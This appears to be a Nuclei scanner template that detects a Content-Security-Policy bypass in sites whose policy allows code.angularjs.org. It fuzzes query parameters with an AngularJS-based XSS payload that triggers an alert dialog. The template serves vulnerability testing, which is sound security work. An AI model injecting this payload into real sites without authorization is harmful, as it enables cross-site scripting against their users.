id: angularjs-code-csp-bypass

info:
  name: Content-Security-Policy Bypass - AngularJS Code
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,angularjs-code,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "angularjs.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: angularjs_code_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://code.angularjs.org/1.8.2/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "angularjs_code_csp_xss == true"
# digest: 490a0046304402204b47274e427eeff93c41e31bd364259a45f074cb50c0fa71f49af097926b7d8802202201544f2ccdb9c0f008c5f4effcd65a8cded9bc3002107e7b86a10865aea689:922c64590222798bb761d5b6d8e72950